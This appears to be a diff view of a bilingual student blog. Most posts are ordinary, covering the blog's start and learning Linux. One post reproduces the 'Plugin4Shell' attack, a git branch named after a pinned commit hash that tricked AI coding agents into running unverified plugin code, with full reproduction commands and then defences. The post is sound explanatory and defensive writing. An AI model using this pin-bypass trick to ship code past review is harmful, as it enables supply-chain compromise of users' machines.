description: "Gabriel Franco: estudante de ciência da computação na PUCRS, interessado em como o software realmente funciona e na história do open source."
---
Olá, eu sou o Gabe — Gabriel Franco. Sou estudante de ciência da computação na PUCRS (Pontifícia Universidade Católica do Rio Grande do Sul), e este blog é onde registro as coisas que vou aprendendo e pensando pelo caminho.
Eu me importo bastante com ciência da computação como área, não só como um conjunto de ferramentas para lançar produtos. Tenho um jeito bem específico de fazer as coisas: prefiro entender um sistema de verdade a decorar os passos para fazê-lo funcionar, e costumo desacelerar de propósito para descobrir o que realmente está acontecendo por baixo dos panos — em um compilador, em um sistema operacional, no runtime de uma linguagem, seja lá o que for. Esse hábito molda a maior parte do que acaba virando post aqui.
Também tenho um interesse genuíno pela história do movimento open source: as pessoas, os debates e as decisões que moldaram o software do qual todos dependemos. Figuras como Linus Torvalds e projetos como o GNU aparecem com frequência no que leio e escrevo, não como curiosidade, mas porque entender de onde uma ferramenta veio costuma explicar bastante sobre como e por que ela funciona do jeito que funciona hoje.
Este site é bilíngue, em inglês e em português, e todo post existe nos dois idiomas. Obrigado pela visita.

View file

@ -1,17 +1,8 @@
---
title: "This blog's Hello World (or whatever you want to call this site)"
slug: "hello-world"
description: "A short note on why this exists and what I plan to write about here."
pubDate: 2026-09-22
tags: ["meta", "life"]
language: "en"
title: "Hello, world"
description: "A short note on why this blog exists and what I plan to write about here."
pubDate: 2026-01-12
tags: ["meta", "blogging"]
---
I've always had a creative side, as anyone who knows me can tell you. Sometimes it gets tucked away somewhere obscure, in the back of a drawer, waiting years to be used. And sometimes I make really good use of it.
I've always loved writing, and I've wanted a place of my own to publish my thoughts for a long time. Only the ones I'd want to be public, of course. Nobody wants to hand over the entire inner workings of their brain just like that, for free. Still, I think some of my intellectual adventures deserve a bit of exposure, especially since, without someone to judge them, I'll never know if they were worth it.
One of my inspirations for creating a site/blog was [Fábio Akita](https://instagram.com/akitaonrails). I've been following him for a long time, and it was through the videos on [his YouTube channel](https://youtube.com/akitaonrails) that I started studying computer science, before I even got into college. Even though the videos are genuinely great, teaching things that are hard to learn any other way, after a while of binge-watching them I found his blog, [akitaonrails.com](https://akitaonrails.com). I thought it was super cool, and I liked the idea of having a personal place to share your opinions and the things you've learned.
Akita is a seasoned guy who's been in the industry for years. Me? Just a student slightly ahead of the material in my CS program. To people my age, this whole writing thing, having a blog, sounds like something old people do. But, like I said in my [last post](https://gabeefran.co/posts/spotify-complaining), I like the idea of doing things the old-fashioned way every now and then. The word _"Blog"_ sounds so 2010, but I don't know what else I'd call this crappy site you're reading. I guess _"blog"_ it is. Good thing I've been practicing caring less about what other people think, and look at that: it's working!
Anyway, call it whatever you want, I think it's worth posting something here every now and then. Even if nobody's interested, whatever! Then let it just be my public folder of notes. Just the fact that I opened the drawer and pulled my creativity out from the back of it already makes it all worth it.
Hi!

View file

@ -1,87 +0,0 @@
---
title: "I've Been Using Linux Since I Was 10: Here's What Nobody Tells You"
description: "I started using Linux at 10, dual booting my dad's PC. Here's what I learned breaking the system, plus 3 tips for anyone just getting started."
pubDate: 2026-10-06
tags: ["linux", "life"]
seoKeywords: "learn Linux, Linux for beginners, how to start using Linux, Ubuntu and Windows dual boot, Linux terminal, package manager, switch from Windows to Linux"
slug: "using-linux-since-i-was-10-what-nobody-tells-you"
language: "en"
---
I was 10 when I spent two hours thinking I'd deleted every file on my dad's PC. All because I wanted to install Ubuntu 18.04 in a *dual boot* with Windows 7. In the end, I hadn't deleted anything, and from then on I never thought the same way again.
In this post, I want to share a bit of my experience and give some tips to anyone who's just starting out or wants to start soon.
## A bit of my story
It all starts in May 2018. I was 10 years old and already knew I really loved tech, and I was super into computers and video editing. The starting point was my dad, who took me to a bookstore here in Porto Alegre to pick out a book, since he wanted me to get back into reading. He's always been the biggest [early adopter](https://en.wikipedia.org/wiki/Technology_adoption_life_cycle) of every new phase in my life, and he still is.
He wanted me to buy an actual literature book, a story with a beginning, a middle and an end. I, on the other hand, wanted a book that would teach me something new, something I was into. We agreed to get one of each. I picked ["Programming in Python 3"](https://www.informit.com/store/programming-in-python-3-a-complete-introduction-to-9780132651653), by [Mark Summerfield](https://mark-summerfield.github.io/index.html).
My dad had a PC he barely used. Actually, I was the one using it, to learn programming and practice what the book taught. It had an AMD Athlon, already outdated even back then, and ran Windows 7. I could code on it, but it was kind of slow. On top of that, I was always searching the internet, especially YouTube, for tips on the stuff I liked.
So, during one of those searches, I came across some videos saying Linux was better for programming and for learning about computers and computing. I heard it had better tools and was more practical. So I immediately looked up how to install it, and after a long time trying and wondering whether I'd wiped my dad's files, I managed to put Ubuntu right next to Windows 7 without losing anything.
## The struggles (and the real upside)
After some time in this world, I realized the biggest advantage of choosing Linux wasn't practicality or anything like that. **It was learning the hard way how an operating system works, and how to fix things when they go wrong.**
Because a lot of things went wrong.
First, while I was still trying to install the system, I thought I had formatted the Windows partition. Thank God that wasn't the problem, but it took me about two hours to figure that out. In the end, we called Enéas, who was my family's hero when it came to computers.
He was the one we called whenever we needed a repair, maintenance or an *upgrade* on my mom's and dad's computers. When he got there, he looked things over and showed me that I hadn't deleted the partition; GRUB (a *bootloader* common in many Linux distros) just wasn't detecting the Windows partition. So he taught me how to change the boot order straight from the BIOS, and in the end, everything worked out.
Thank you so much, Enéas! Besides being our hero, you were one of the only people I could talk to about what I was learning about computers, so you probably remember that I talked way more than necessary whenever you came over. For us "IT guys" who are passionate about what we do, sometimes that's all we need.
But I didn't get discouraged because I needed help. Actually, I wanted to be the guy who'd help someone someday. So I kept trying, and I learned a lot every time something broke.
Another thing that happened was that the system just wouldn't recognize my TP-Link Wi-Fi adapter. I don't know if it was because I forgot to enable the kernel module, or if some package was missing, or if there really was no driver for that adapter. After a while, we ran network cables through the house, and then I didn't need the adapter anymore. So I forgot about that problem.
All I know is that nowadays I sometimes need that adapter on my PC, and it works *plug-and-play*. I don't know if that driver now ships with the Linux kernel by default or if I just learned how to set it up properly. But anyway, problem solved, even if it took a few years.
And I think it's this kind of struggle that makes you learn. To this day, I haven't found a better way to understand, in practice, how a computer and its operating system work. It's by getting your hands dirty and making mistakes that we start to understand, and **no system gives you as much freedom to practice and make mistakes as Linux.**
## I think I know how I can help you
The learning process needs a bit of friction. There has to be trial and error. But what I can do to help you, if you're just starting out, is give you some info to cut down on the headaches. What I'm about to say is meant to prepare you for what's coming. That way, I hope you'll get used to it faster and learn more.
**The main thing is to get the "Windows way of doing things" out of your head.** It's a different operating system, so things are done differently. A lot of what you know carries over, sure. But be ready to think differently.
Here are 3 tips on the main differences between Linux and Windows.
### 1. Understand the terminal
On Windows, we're used to doing everything through the graphical interface. After all, there's a GUI (graphical user interface) for everything there. It's not like Linux doesn't have one, but the default and fastest way to get around the system is the command line. If you stick to the graphical interface, I promise you'll learn very little.
That black screen with white letters and a monospaced font can seem intimidating at first. But I swear it's not that hard to get used to. I recommend opening the terminal and learning how your shell works, the basic commands (`ls`, `cd`, `cp`, `mv`, `rm`, `cat`, etc.) and how to get around using only the command line. Test everything in a safe environment, where you're not afraid of breaking everything. Keep looking up how to do your everyday tasks. Trust me, there's a command for anything you want to do.
### 2. Understand package management
Package management is something we're not used to in Windows environments. There, it basically doesn't exist the way it does in operating systems like Linux.
When you want to download a program, get used to not hunting for an executable on the internet. Learn to search for programs in your distribution's package manager and install them through it.
Remember that `C:\Program Files` folder? On Windows, it centralizes all the files your programs need to run properly. On Linux, though, files are spread across several folders, and the system knows where to find them. Binaries in `/bin` or `/usr/bin`, shared libraries in `/usr/lib`, and so on. What the package manager does is unpack the package you want to install and put each file in its proper place, automatically.
And each distribution has a different package system. Debian uses `dpkg` and `apt`, Red Hat family distros (Fedora, RHEL, Rocky) use `rpm` and `dnf`, and Arch uses `pacman`. Each one works a little differently, so look up what your distro uses and learn it.
### 3. Understand troubleshooting
This is the most important one. **On Linux, every error has an explanation.** When something crashes or goes wrong, you can be sure there's a log somewhere explaining what happened.
Troubleshooting always comes down to checking the logs, fixing what went wrong and trying again. There's not much of a secret when you don't know what to do. Throw it into Google or an AI and you'll find a ton of forum posts where someone else explains they had the same problem and asks for help. Sometimes there's an answer, and sometimes there isn't. Just make sure you're looking at the right forums. There's no point trying to fix a problem on Ubuntu by following a step-by-step guide from the Arch Linux forum.
This forum-digging part is very real. It's a big part of how you learn. But **don't forget to look up what commands do before running them**, because that's where a security problem lies. Someone could just post a malicious command for people to run. And beyond security, if we're using Linux to learn something, it's good to know why we do what we do.
That time the Wi-Fi adapter didn't work, I spent a lot of time looking for the answer on forums. In that case, it took a while for the problem to get solved. But it was definitely worth it, because I learned a lot of new stuff along the way.
## Anyway...
Eight years have passed since that dual boot on my dad's PC, and I still use Linux every day. I've switched distros a few times, broken the system more times than I'd like and, honestly, I still break it every now and then. The difference is that now I know where to start looking for the problem.
And that's what nobody tells you. **Linux isn't going to make you more productive right off the bat.** At first, you'll waste time on stuff that would be one click on Windows. You'll spend a whole afternoon trying to get the Wi-Fi working, or thinking you deleted someone's files. But each of those struggles teaches you something no course or book teaches in quite the same way. Before you know it, you understand partitions, bootloaders, kernel modules and permissions, without ever sitting down to study them formally.
Remember how I said I wanted to be the guy who'd help someone someday? This post is a bit of that. If you're thinking about starting, *start*. Do it in an environment where you're not afraid to make mistakes, read the logs, research before running any command and, above all, don't get discouraged when you need to ask for help. I did, and that's when I learned the most.
And if something goes really wrong, well, everybody needs an Enéas every now and then. I'm here if you need me.

View file

@ -1,10 +1,8 @@
---
title: "Spotify's Time Capsule Change and the Enshittification of Software"
slug: "spotify-complaining"
description: "Spotify just removed one of its best features. Beyond a bit of complaining, I want to open a debate about what software is turning into."
pubDate: 2026-09-2
tags: ["software", "life"]
language: "en"
---
import ObservationCard from '../../../components/ObservationCard.tsx'

View file

@ -1,230 +0,0 @@
---
title: "Understanding Plugin4Shell: An Exploit That Uses a Simple Git Trick to Fool AI Coding Agents"
description: "A git branch named after a commit hash was enough to make AI coding agents run unverified plugins. I reproduced the Plugin4Shell trick on GitHub and Forgejo."
slug: "understanding-plugin4shell-git-trick-ai-coding-agents"
pubDate: 2026-09-28
tags: ["cybersecurity", "git", "ai", "software"]
seoKeywords: "Plugin4Shell, git branch named after commit hash, SHA pinning bypass, AI coding agents security, Claude Code plugin vulnerability, supply chain attack, git internals, Forgejo"
language: "en"
---
This post is based on [Ana Maria Constantin's post at TheNextWeb](https://thenextweb.com/news/plugin4shell-ai-coding-agents-zero-click-rce-sha-pinning) and [Air Security's report](https://www.air.security/blog-posts/plugin4shell).
AI coding agents like Claude Code and Codex install plugins from their marketplaces. Knowing that attackers could use plugins to ship malicious code, AI companies employed a simple security measure. They locked the plugins to a version that was reviewed and approved. But what if someone could bypass that lock? That's *exactly* what happened.
Researchers at Air Security discovered a vulnerability they called [Plugin4Shell](https://www.air.security/blog-posts/plugin4shell), which exploited how agents verified plugins. With a simple git trick, they were able to make the agent download and run unverified code. That means **Remote Code Execution**, token stealing, or anything that malicious code does.
Anthropic fixed it in **Claude Code 2.1.179** and OpenAI in **Codex 0.146.0**. Anyway, as a Computer Science student, I think this is a great opportunity to learn about git, supply chain attacks, and cybersecurity in general. So, let's dive into it!
## The Scenario
The industry's defense against malicious plugins was to *pin* each plugin to a specific commit. That commit was reviewed and approved, so it was considered safe. A commit hash is a SHA-1 of the commit's content and history, so it's content-addressed and *immutable*. But there is an issue with git itself. **Branches and tags are just movable name tags.** Interesting...
The commit hash is a 40-character-long string. What if there is a branch with the same name as a commit hash? Some git commands, like `checkout` and `clone --branch`, **actually prefer the branch**.
That's what they used to trick the agent into downloading and running unverified code!
## The attack, step by step
The attack consisted of the following steps:
1. The attackers create a plugin that is completely secure, no exploits and no malicious code. Let's suppose the hash for that commit is `xxxx`.
2. They get the marketplace's approval, and the plugin is pinned at commit `xxxx`.
3. Users start downloading and using the plugin.
4. They ship malicious code in a separate branch, named `xxxx`.
5. The agents refresh the plugin in the background, **no user interaction needed**.
6. Instead of the pinned commit, git chooses the latest commit on the branch with the same name.
7. The malicious code gets executed and, just like that, users are hacked.
## How does it work?
Let's test this trick ourselves in a local git repository. First, we create the repo and make a clean commit to pass the verification:
```sh
git init demo && cd demo
echo "print('safe plugin')" > plugin.py
git add . && git commit -m "safe version"
```
Now, let's run `git log` to get the commit hash.
```
commit 290b9e171e7b6facfe1e244a22c7152b31b6c290 (HEAD -> main)
Author: Gabriel Franco <gabe@example.com>
Date: Mon Sep 28 09:10:09 2026 -0300
safe version
```
There it is! `290b9e171e7b6facfe1e244a22c7152b31b6c290` is our commit hash. Now, let's create the evil branch:
```sh
git switch -c evil
echo "print('you got HACKED')" > plugin.py
git commit -am "evil version"
```
But the branch name is still `evil`. Sounds pretty suspicious, actually. Let's change it to our commit hash.
```sh
git branch -m 290b9e171e7b6facfe1e244a22c7152b31b6c290
```
This renamed the branch, so its name is exactly the hash from the safe and verified commit. Now, let's switch to the main branch with `git switch -` and try to access our safe commit with `git checkout`:
```sh
git checkout 290b9e171e7b6facfe1e244a22c7152b31b6c290
```
Git even gave me a warning:
```
warning: refname '290b9e171e7b6facfe1e244a22c7152b31b6c290' is ambiguous.
Git normally never creates a ref that ends with 40 hex characters
because it will be ignored when you just specify 40-hex. These refs
may be created by mistake. For example,
git switch -c $br $(git rev-parse ...)
where "$br" is somehow empty and a 40-hex ref is created. Please
examine these refs and maybe delete them. Turn this message off by
running "git config set advice.objectNameWarning false"
Switched to branch '290b9e171e7b6facfe1e244a22c7152b31b6c290'
```
That's a good thing. But the warning probably isn't seen by the agent, who is not expecting any output from `checkout`, as long as its exit status is 0.
Let's check the content of `plugin.py`:
```python
print('you got HACKED')
```
Oops... Looks like we got HACKED!
## But can the git platforms fix it?
Apparently, GitHub already did it. I couldn't find a source that confirms when this change was made, but let's test it ourselves. I created a private repository on GitHub, then went back to the terminal:
```sh
git switch main
git remote add origin git@github.com:gabeefranco/demo-trick.git
git push -u origin main
```
Well, the `main` branch pushes fine:
```
Enumerating objects: 3, done.
Counting objects: 100% (3/3), done.
Writing objects: 100% (3/3), 236 bytes | 236.00 KiB/s, done.
Total 3 (delta 0), reused 0 (delta 0), pack-reused 0 (from 0)
To github.com:gabeefranco/demo-trick.git
* [new branch] main -> main
branch 'main' set up to track 'origin/main'.
```
Now, let's see what happens to our branch named after the commit hash:
```sh
git push -u origin 290b9e171e7b6facfe1e244a22c7152b31b6c290
```
As we can see, GitHub rejects it:
```
Enumerating objects: 5, done.
Counting objects: 100% (5/5), done.
Writing objects: 100% (3/3), 269 bytes | 269.00 KiB/s, done.
Total 3 (delta 0), reused 0 (delta 0), pack-reused 0 (from 0)
remote: error: GH002: Sorry, branch or tag names consisting of 40 or 64 hex characters are not allowed.
remote: error: Invalid branch or tag name "290b9e171e7b6facfe1e244a22c7152b31b6c290"
To github.com:gabeefranco/demo-trick.git
! [remote rejected] 290b9e171e7b6facfe1e244a22c7152b31b6c290 -> 290b9e171e7b6facfe1e244a22c7152b31b6c290 (pre-receive hook declined)
error: failed to push some refs to 'github.com:gabeefranco/demo-trick.git'
```
That's really good! Kudos to GitHub and all their Microsoft slop. They surprised me *this time*!
### What about other platforms?
In AI plugin marketplaces, the git repositories can be hosted on any platform, including a self-hosted Forgejo instance, for example. [Forgejo](https://forgejo.org/) is a fork of [Gitea](https://about.gitea.com/), and it allows us to self-host our git projects in the style of GitHub, but 100% open-source. It's good open-source software, I will write a post about it someday. My Forgejo version is `9.0.3+gitea-1.22.0`, as you can verify with `curl -s https://git.gabeefran.co/api/v1/version`. Keep in mind the behavior I showcase here may change in a future release.
In my own instance, let's test the branch naming. After creating a repository (this time, I will keep it public), I ran:
```sh
git remote remove origin
git remote add origin git@git.gabeefran.co:gabeefranco/git-trick.git
git push -u origin main
```
Again, `main` pushes correctly:
```
Enumerating objects: 3, done.
Counting objects: 100% (3/3), done.
Writing objects: 100% (3/3), 236 bytes | 236.00 KiB/s, done.
Total 3 (delta 0), reused 0 (delta 0), pack-reused 0 (from 0)
To git.gabeefran.co:gabeefranco/git-trick.git
* [new branch] main -> main
branch 'main' set up to track 'origin/main'.
```
But `main` is verified by the marketplace. Let's test our evil branch:
```sh
git push -u origin 290b9e171e7b6facfe1e244a22c7152b31b6c290
```
Unfortunately, Forgejo **doesn't implement the same fix**:
```
Enumerating objects: 5, done.
Counting objects: 100% (5/5), done.
Writing objects: 100% (3/3), 269 bytes | 269.00 KiB/s, done.
Total 3 (delta 0), reused 0 (delta 0), pack-reused 0 (from 0)
remote:
remote: Create a new pull request for '290b9e171e7b6facfe1e244a22c7152b31b6c290':
remote: https://git.gabeefran.co/gabeefranco/git-trick/compare/main...290b9e171e7b6facfe1e244a22c7152b31b6c290
remote:
To git.gabeefran.co:gabeefranco/git-trick.git
* [new branch] 290b9e171e7b6facfe1e244a22c7152b31b6c290 -> 290b9e171e7b6facfe1e244a22c7152b31b6c290
branch '290b9e171e7b6facfe1e244a22c7152b31b6c290' set up to track 'origin/290b9e171e7b6facfe1e244a22c7152b31b6c290'.
```
I will keep this repository public. You can check it out [here](https://git.gabeefran.co/gabeefranco/git-trick). Just note that the commit hashes are different, because I had to edit them in order to maintain the consistency in the writing of this post.
## How to defend against it
First things first: if you use Claude Code or Codex, update them. Anything from **Claude Code 2.1.179** and **Codex 0.146.0** onwards is already fixed.
But what if you're writing a tool that pins git commits, just like the agents do? My first idea was `git checkout --detach`, since it should treat the argument as a commit, not a branch. I tested it in the same demo repo:
```sh
git checkout --detach 290b9e171e7b6facfe1e244a22c7152b31b6c290
```
And `plugin.py` still said `you got HACKED`. Not even `--detach` saves us here! What actually works is appending `^{commit}` to the hash, which forces git to resolve it as a commit object:
```sh
git checkout --detach "290b9e171e7b6facfe1e244a22c7152b31b6c290^{commit}"
```
This time, we got the `safe plugin` back. Even so, don't trust the resolution blindly. **After checking out, always verify that `HEAD` is exactly the pinned hash**, and abort if it isn't:
```sh
PIN=290b9e171e7b6facfe1e244a22c7152b31b6c290
[ "$(git rev-parse HEAD)" = "$PIN" ] || { echo "HEAD doesn't match the pin, aborting!"; exit 1; }
```
It's one line of shell, and it would have stopped this attack. If the agents did this, the evil branch would be useless.
And if you self-host your git projects, like me, you can do what GitHub did and reject branch and tag names made of 40 or 64 hex characters with a pre-receive hook. There's no legitimate reason for a branch to look like a commit hash anyway.
## Wrapping up
The main problem was that the agents asked git for the pinned commit, but they never verified if what they got back actually matched that hash. Pinning to commit SHAs is the standard advice against supply-chain attacks. Plugin4Shell shows that **pinning is only as good as how you _resolve_ the pin**.
By studying this case, we learned a lot about supply chain attacks, git internals and the cybersecurity involved in the AI agents scene. Many props to [Air Security](https://www.air.security/) for researching this topic and discovering this vulnerability.
I had a lot of fun writing this post, hope you enjoyed!

View file

@ -1,19 +1,8 @@
---
title: "O Hello World desse blog (ou seja lá como você queira chamar esse site)"
description: "Uma nota curta sobre por que isso existe e sobre o que pretendo escrever aqui."
pubDate: 2026-09-22
slug: "hello-world"
tags: ["meta", "life"]
language: "pt"
title: "Olá, mundo"
description: "Uma nota curta sobre por que este blog existe e sobre o que pretendo escrever aqui."
pubDate: 2026-01-12
tags: ["meta", "blogging"]
---
Eu sempre tive um lado criativo, quem me conhece sabe. Às vezes ele fica guardado em algum lugar obscuro, no fundo da gaveta, esperando anos pra ser utilizado. E às vezes eu me aproveito dele muito bem.
Sempre gostei muito de escrever, e faz tempo que queria ter um lugar só meu pra publicar meus pensamentos. Mas só aqueles que eu gostaria que fossem públicos, claro. Ninguém quer entregar todo o funcionamento interno do seu cérebro assim, de graça. Ainda assim, acho que algumas das minhas aventuras intelectuais merecem um pouco de exposição, até porque, sem alguém pra julgar, nunca saberei se valeram a pena.
Uma das minhas inspirações pra criar um site/blog foi o [Fábio Akita](https://instagram.com/akitaonrails). Eu acompanho ele há muito tempo, e foi por meio dos vídeos do [canal do YouTube dele](https://youtube.com/akitaonrails) que eu comecei a estudar sobre computação, antes de entrar na faculdade. Apesar dos vídeos serem realmente muito bons, fornecendo aprendizados difíceis de obter de outra forma, depois de um tempo maratonando os vídeos eu descobri o blog dele, [akitaonrails.com](https://akitaonrails.com). Eu achei muito massa, e gostei da ideia de se ter um lugar pessoal onde se expõem opiniões e aprendizados.
O Akita é um cara com experiência, que vive há anos na indústria. Eu, um mero estudante levemente adiantado no conteúdo da faculdade de computação. Esse negócio de escrever, ter um blog, parece coisa de gente velha pras pessoas da minha geração. Mas, como falei no [último post](https://gabeefran.co/pt/posts/spotify-complaining), eu gosto da ideia de fazer coisas à moda antiga de vez em quando. O termo _"Blog"_ soa muito 2010, mas não sei que outro nome daria a esta porcaria deste site que você está lendo. Acho que vai ser _"blog"_ mesmo. Bem que eu tenho treinado pra ligar menos pra opinião dos outros, e olha só: tá funcionando!
Enfim, chame como você quiser, eu acho que vale a pena publicar algo de vez em quando por aqui. Mesmo que ninguém esteja interessado, tanto faz! Que seja apenas a minha pasta pública de notas, então. Só de eu ter aberto a gaveta e tirado de lá do fundo a minha criatividade, considero que já valeu a pena.
Oie

View file

@ -1,87 +0,0 @@
---
title: "Eu Uso Linux Desde os Meus 10 Anos de Idade: Aqui Está o Que Ninguém te Conta"
description: "Comecei no Linux aos 10 anos, num dual boot no PC do meu pai. Conto o que aprendi quebrando o sistema e dou 3 dicas pra quem está começando agora."
pubDate: 2026-10-06
tags: ["linux", "life"]
seoKeywords: "aprender Linux, Linux para iniciantes, como começar a usar Linux, dual boot Ubuntu e Windows, terminal Linux, gerenciador de pacotes, migrar do Windows para o Linux"
slug: "uso-linux-desde-meus-10-anos-o-que-ninguem-te-conta"
language: "pt"
---
Eu tinha 10 anos quando passei duas horas achando que tinha apagado todos os arquivos do PC do meu pai. Tudo isso porque eu queria instalar o Ubuntu 18.04 em *dual boot* com o Windows 7. No fim, não tinha apagado nada, e a partir daí nunca mais pensei da mesma forma.
Nesse post, quero compartilhar um pouco da minha experiência, e dar algumas dicas pra quem está começando agora ou quer começar em breve.
## Um pouco da minha história
Tudo começa em maio de 2018. Eu tinha 10 anos de idade e já sabia que gostava muito de tecnologia, e tinha muito interesse por informática e edição de vídeos. O ponto de partida foi meu pai, que me levou a uma livraria aqui em Porto Alegre pra escolher um livro, já que ele queria que eu retomasse o gosto pela leitura. Ele sempre foi o maior [early adopter](https://en.wikipedia.org/wiki/Technology_adoption_life_cycle) das fases que se iniciavam na minha vida, até hoje é.
Ele queria que eu comprasse um livro de literatura mesmo, de histórias com início, meio e fim. Eu, por outro lado, queria comprar um livro que me ensinasse alguma coisa nova, dentro dos meus interesses. Concordamos em levar um de cada. Eu escolhi ["Programação em Python 3"](https://www.estantevirtual.com.br/livro/programacao-em-python-3-0FS-0355-000-BK), do [Mark Summerfield](https://mark-summerfield.github.io/index.html).
Meu pai tinha um PC que ele raramente usava. Na verdade, quem usava era eu, pra aprender programação e praticar o conteúdo do livro. Tinha um AMD Athlon, já ultrapassado mesmo naquela época, e rodava Windows 7. Conseguia programar, mas era meio lento. Além disso, eu era muito de pesquisar na internet, principalmente no YouTube, por dicas sobre assuntos que eu gostava.
Assim, numa dessas pesquisas, vi alguns vídeos que diziam que Linux era melhor pra programar e aprender sobre informática e computação. Ouvi dizer que tinha ferramentas melhores e era mais prático. Então já fui logo pesquisar como instalar, e depois de muito tempo tentando e me perguntando se tinha apagado os arquivos do meu pai, consegui colocar o Ubuntu ao lado do Windows 7 sem perder nada.
## Os perrengues (e a real vantagem)
Depois de algum tempo nesse mundo, percebi que a maior vantagem de ter escolhido o Linux não foi a praticidade, nem nada parecido. **Foi aprender na marra sobre como um sistema operacional funciona, e como consertar coisas que dão errado.**
Até porque muita coisa deu errado.
Primeiramente, ainda quando estava tentando instalar o sistema, pensei que tinha formatado a partição do Windows. Graças a Deus não era esse o problema, mas até eu descobrir isso se foram umas duas horas. No fim, chamamos o Enéas, que era o herói da minha família quando se tratava de informática.
Era ele quem chamávamos quando precisávamos de algum conserto, manutenção ou *upgrade* nos computadores da minha mãe e do meu pai. Chegando lá, ele avaliou a situação e me mostrou que eu não tinha apagado a partição, mas o GRUB (*bootloader* comum em várias distros Linux) não reconhecia a partição do Windows. Então, ele me ensinou a trocar a ordem de boot pela BIOS mesmo, e, no final, deu tudo certo.
Muito obrigado, Enéas! Além de ser o nosso herói, você era uma das únicas pessoas com quem eu podia falar sobre meus aprendizados computacionais, então deve se lembrar que eu falava bem mais do que o necessário quando aparecia lá em casa. Pra nós, "caras da TI" apaixonados pelo que fazem, às vezes isso é só o que precisamos.
Mas eu não me desmotivei por ter precisado de ajuda. Na verdade, eu queria ser o cara que ajudaria alguém algum dia. Por isso, continuei tentando, e aprendi muito a cada vez que dava problema.
Outra situação que ocorreu era que o sistema simplesmente não reconhecia meu adaptador de Wi-Fi da TP-Link. Não sei se era porque eu esqueci de ativar o módulo do kernel, ou se faltou algum pacote, ou se realmente não tinha driver pra esse adaptador. Depois de um tempo, passamos cabos de rede pela casa e aí eu não precisava mais do adaptador. Então, esqueci desse problema.
Só sei que, hoje em dia, às vezes preciso desse adaptador no meu PC, e ele funciona *plug-and-play*. Não sei se esse driver agora vem no kernel Linux por padrão ou se eu que aprendi a configurar direito. Mas enfim, problema resolvido, mesmo que alguns anos depois.
E eu acho que é esse tipo de perrengue que te faz aprender. Até hoje não encontrei nenhum jeito melhor de entender, na prática, como funciona um computador e seu sistema operacional. É colocando a mão na massa e errando que vamos entendendo, e **nenhum sistema te deixa tão livre pra praticar e errar quanto o Linux.**
## Acho que eu sei como posso te ajudar
O processo de aprendizado exige um pouco de fricção. Tem que ter tentativa e erro. Mas o que eu posso fazer pra ajudar você, que está começando, é te dar algumas informações pra diminuir a dor de cabeça. O que vou falar agora é pra que você se prepare para o que está por vir. Assim, espero que consiga se acostumar mais rápido e aprender mais.
**O principal é tirar o "jeito Windows de resolver as coisas" da sua cabeça.** É outro sistema operacional, então as coisas são feitas de outro jeito. Muita coisa é reaproveitável, sim. Mas esteja pronto pra pensar de um jeito diferente.
Aqui vão 3 dicas sobre as principais diferenças do Linux pro Windows.
### 1. Entenda o terminal
No Windows, estamos acostumados a fazer tudo pela interface gráfica. Até porque lá tem uma GUI (interface gráfica de usuário) pra tudo. Não é como se no Linux não tivesse, mas o jeito padrão e mais rápido de navegar pelo sistema é pela linha de comando. Usando a interface gráfica, te garanto que vai aprender muito pouco.
Essa tela preta com letras brancas e fonte monoespaçada pode parecer intimidadora no começo. Mas juro que não é tão difícil se acostumar. Recomendo abrir o terminal, entender sobre como funciona o seu shell, os comandos básicos (`ls`, `cd`, `cp`, `mv`, `rm`, `cat`, etc.) e como navegar apenas pela linha de comando. Teste tudo num ambiente seguro, onde não tenha medo de estragar tudo. Vá pesquisando sobre como executar suas tarefas do dia a dia. Te garanto, tem comando pra qualquer coisa que queira fazer.
### 2. Entenda o gerenciamento de pacotes
Gerenciamento de pacotes é algo com o qual não estamos acostumados em ambientes Windows. Lá, ele praticamente não existe da forma que existe nos sistemas operacionais como o Linux.
Quando quiser baixar um programa, se acostume a não procurar por um executável na internet. Aprenda a pesquisar por programas no gerenciador de pacotes da sua distribuição e instalar programas por ele.
Lembra daquela pasta `C:\Arquivos de Programas`? No Windows, ela centraliza todos os arquivos necessários para que seus programas rodem corretamente. Já no Linux, os arquivos ficam separados em várias pastas, e o sistema sabe onde os encontrar. Binários em `/bin` ou `/usr/bin`, bibliotecas compartilhadas em `/usr/lib`, e por aí vai. O que o gerenciador de pacotes faz é extrair o pacote que você quer baixar e colocar cada arquivo no seu devido lugar, automaticamente.
E cada distribuição tem um sistema de pacotes diferente. Debian usa o `dpkg` e o `apt`, distros da família Red Hat (Fedora, RHEL, Rocky) usam o `rpm` e o `dnf`, e o Arch usa o `pacman`. Cada um tem um jeito de funcionar levemente diferente, então pesquisa sobre o que a sua distro usa e aprende ele.
### 3. Entenda a resolução de problemas
Isso é o mais importante. **No Linux, tudo que dá erro se explica.** Quando tem um crash ou algo dá errado, pode ter certeza que em algum lugar tem um log explicando o que aconteceu.
O processo de resolução de problemas sempre envolve olhar os logs, consertar o que deu errado e tentar de novo. Não tem muito segredo quando não se sabe o que fazer. Jogando no Google ou na IA, vai achar um monte de post de fórum, onde outra pessoa explica que teve o mesmo problema e pede ajuda. Às vezes tem resposta, e às vezes não. Só tenha certeza que está olhando nos fóruns certos. Não adianta querer resolver um problema no Ubuntu, seguindo um passo a passo obtido do fórum do Arch Linux.
Essa parte de pesquisar em fóruns é muito real. É boa parte de como se aprende. Mas **não se esqueça de pesquisar sobre o que os comandos fazem antes de executar**, porque aí mora um problema de segurança. Alguém pode simplesmente colocar um comando malicioso pra galera executar. E além da segurança, se estamos usando Linux pra aprender algo, é bom que a gente saiba por que fazemos o que fazemos.
Aquela vez que o adaptador de Wi-Fi não funcionou, passei muito tempo procurando a resposta em fóruns. Naquele caso, demorou um tempo pra que o problema fosse resolvido. Mas com certeza valeu a pena, porque aprendi muita coisa nova no processo.
## Enfim...
Já se passaram oito anos desde aquele dual boot no PC do meu pai, e eu continuo usando Linux todos os dias. Mudei de distro algumas vezes, quebrei o sistema mais vezes do que gostaria e, sinceramente, ainda quebro de vez em quando. A diferença é que hoje eu sei por onde começar a procurar o problema.
E é isso que ninguém te conta. **O Linux não vai te deixar mais produtivo logo de cara.** No começo, você vai perder tempo com coisa que no Windows seria um clique. Vai ficar uma tarde inteira tentando fazer o Wi-Fi funcionar, ou achando que apagou os arquivos de alguém. Mas cada um desses perrengues te ensina alguma coisa que nenhum curso ou livro ensina do mesmo jeito. Quando você vê, já entende de partições, bootloader, módulos do kernel e permissões, sem nunca ter sentado pra estudar isso formalmente.
